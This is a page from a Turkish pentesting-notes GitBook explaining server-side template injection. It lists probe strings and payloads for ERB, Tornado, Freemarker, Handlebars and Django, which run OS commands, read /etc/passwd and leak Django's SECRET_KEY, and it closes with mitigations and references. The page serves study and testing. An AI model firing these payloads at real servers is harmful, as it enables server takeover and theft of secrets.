🖥️
Siber Güvenlik Notları
  • WHOAMI
    • 👨‍💻Who Am I?
  • 🔭Information Gathering
    • Pentest VM Setup
    • Passive Information Gathering
    • Subdomain Enumeration
    • Host Discovery
    • Port Scanning
    • Email Enumeration
    • Leaked Passwords
    • Zafiyet Araştırma
  • 🪟Windows Pentesting
    • Windows Privilege Escalation
    • Windows Persistence
    • Windows Lateral Movement
    • AV Evasion
  • 🐧Linux Pentesting
    • Linux Privilege Escalation
    • Linux Persistence
    • Linux Lateral Movement
  • 🕸️Web Application Pentesting
    • Web Pentest Checklist
    • SQL Injection
    • NoSQL Injection
    • OS Command Injection
    • XXE Injection
    • SSTI
    • XSS
    • CSRF
    • SSRF
    • LFI/RFI
    • Insecure Deserialization
    • CORS Misconfiguration
    • Directory Traversal
    • File Upload
    • Broken Authentication
    • Broken Access Control
    • Business Logic
    • Race Conditions
    • Web Cache Deception
    • AWS Testing
    • Web Cache Poisoning
    • Clickjacking
    • API Testing
    • Broken Link Hijacking
    • HTTP Request Smuggling
    • LLM
    • HTTP Host Header Attack
    • OAuth Zafiyetleri
    • GraphQL API
    • HTTP Parameter Pollution
    • Configuration and Deployment Management Testing
    • Information Disclosure
    • Prototype pollution
    • JWT
  • 🖲️Network Service Pentesting
    • 📘Active Directory Services
      • Bleeding Edge Vulns
      • Misconfigs
      • Domain Trust
      • DNS (53)
      • Kerberos (88)
      • LDAP (389,636)
      • RPC WMI (135)
      • SMB (445)
      • WinRM - 5985
    • 📂FTP - 21
    • 🔐SSH - 22
    • 🤣Telnet - 23
    • SMTP - 25
    • TFTP - 69 UDP
    • HTTP - 80,443
      • Apache
      • Joomla
      • Drupal
      • Wordpress
      • WEBDAV
      • PHP
      • Laravel
    • IMAP/POP3 - 110,143,993,995
    • SNMP - 161
    • Rservices - 512
    • IPMI - 623
    • Rsync - 873
    • MSSQL - 1433
    • Oracle TNS - 1521
    • NFS - 2049
    • Docker
    • Grafana - 3000
    • MySQL - 3306
    • RDP - 3389
    • Postgresql - 5432
    • Redis - 6379
    • JDWP - 8000
    • MongoDB - 27017
  • 🕸️Network Pentesting
    • ARP Poisoning
  • 📞Android Pentesting
    • Android Derleme Süreci
    • Reversing
    • Rooting
    • Burp Suite Sertifikası
    • SSL Pinning Bypass
    • Patching
    • MobSF Kurulumu
    • Flutter Pentesting
  • 📰Teori
    • Güvenlik Ürünleri
    • OSI
    • Security Principles
  • Diger
    • Hacking Gadgets
      • Wifi Pineapple
      • Pwnagotchi
    • Stego
    • Buffer Overflow
    • Phishing
    • Nessus
    • DDOS Attacks
    • MSFConsole
  • ⏪Reverse
    • GCC Reverse
    • Python Reverse
    • Flare VM
    • Remnux
  • 🛜Wireless Pentesting
    • Wireless Pentest
    • Wireless V2
Powered by GitBook
On this page
  • SSTI Nedir?
  • Yöntemler
  • Error Mesajları
  • ERB Template Engine (Ruby)
  • Tornado Template Engine (Python)
  • Freemarker Template Engine (Java)
  • Handlebars Template Engine (Javascript)
  • Django Template Engine (Python)
  • Önlemler
  • Araçlar
  • Kaynaklar

Was this helpful?

  1. Web Application Pentesting

SSTI

PreviousXXE InjectionNextXSS

Last updated 15 days ago

Was this helpful?

SSTI Nedir?

  • Server side template injection, bir saldırganın native template syntax kullanarak bir şablona kötü amaçlı bir payload enjekte edebilmesi ve bunun sunucu tarafında çalıştırılmasıdır.

  • Template engine'ler sabit şablonları geçici verilerle birleştirerek web sayfaları oluşturmak üzere tasarlanmıştır.

  • Server side template injection saldırıları, kullanıcı girdisi veri olarak aktarılmak yerine doğrudan bir şablonda birleştirildiğinde ortaya çıkabilir.

  • Bu, saldırganların template engine'i manipüle etmek için keyfi template direktifleri enjekte etmelerine ve genellikle sunucunun kontrolünü tamamen ele geçirmelerine olanak tanır.

  • Adından da anlaşılacağı üzere, server-side template injection yükleri server-side olarak gönderilir ve değerlendirilir, bu da onları tipik bir client-side template injection'dan çok daha tehlikeli hale getirir.

Yöntemler

Error Mesajları

Aşağıdaki karakterler ile template engine hatası görmeyi deneyebiliriz.

${{<%[%'"}}%\

ERB Template Engine (Ruby)

<%= 7*7 %>
<%= system("whoami") %>

Tornado Template Engine (Python)

{{7*7}}

{% import os %}{{os.system('whoami')

Freemarker Template Engine (Java)

${7*7}
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("whoami") }

Sandbox Bypass

${object.getClass()}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}

Handlebars Template Engine (Javascript)

wrtz{{#with "s" as |string|}}
    {{#with "e"}}
        {{#with split as |conslist|}}
            {{this.pop}}
            {{this.push (lookup string.sub "constructor")}}
            {{this.pop}}
            {{#with string.split as |codelist|}}
                {{this.pop}}
                {{this.push "return require('child_process').exec('whoami');"}}
                {{this.pop}}
                {{#each conslist}}
                    {{#with (string.sub.apply 0 codelist)}}
                        {{this}}
                    {{/with}}
                {{/each}}
            {{/with}}
        {{/with}}
    {{/with}}
{{/with}}

Django Template Engine (Python)

{% debug %}
{{settings.SECRET_KEY}}

Önlemler

  • Sunucu tarafı şablon enjeksiyonunu önlemenin en iyi yolu, hiçbir kullanıcının yeni şablonları değiştirmesine veya göndermesine izin vermemektir. Ancak, iş gereksinimleri nedeniyle bu bazen kaçınılmaz olabilir.

  • Sunucu tarafı şablon enjeksiyonu güvenlik açıklarını önlemenin en basit yollarından biri, kesinlikle gerekli olmadıkça her zaman Mustache gibi "logic-less" bir şablon motoru kullanmaktır. Mantığı sunumdan mümkün olduğunca ayırmak, en tehlikeli şablon tabanlı saldırılara maruz kalmanızı büyük ölçüde azaltabilir.

  • Bir başka önlem de kullanıcıların kodlarını yalnızca potansiyel olarak tehlikeli modüllerin ve işlevlerin tamamen kaldırıldığı korumalı bir ortamda çalıştırmaktır. Ne yazık ki, güvenilmeyen kodu korumalı alana almak doğası gereği zordur ve bypass edilmeye yatkındır.

  • Son olarak, bir başka tamamlayıcı yaklaşım da keyfi kod çalıştırmanın kaçınılmaz olduğunu kabul etmek ve şablon ortamınızı örneğin kilitli bir Docker konteynerinde dağıtarak kendi korumalı alanınızı uygulamaktır.

Araçlar

Kaynaklar

SSTIMAP:

Portswigger Academy:

Hacktricks:

🕸️
https://github.com/vladko312/SSTImap
https://portswigger.net/web-security/server-side-template-injection
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection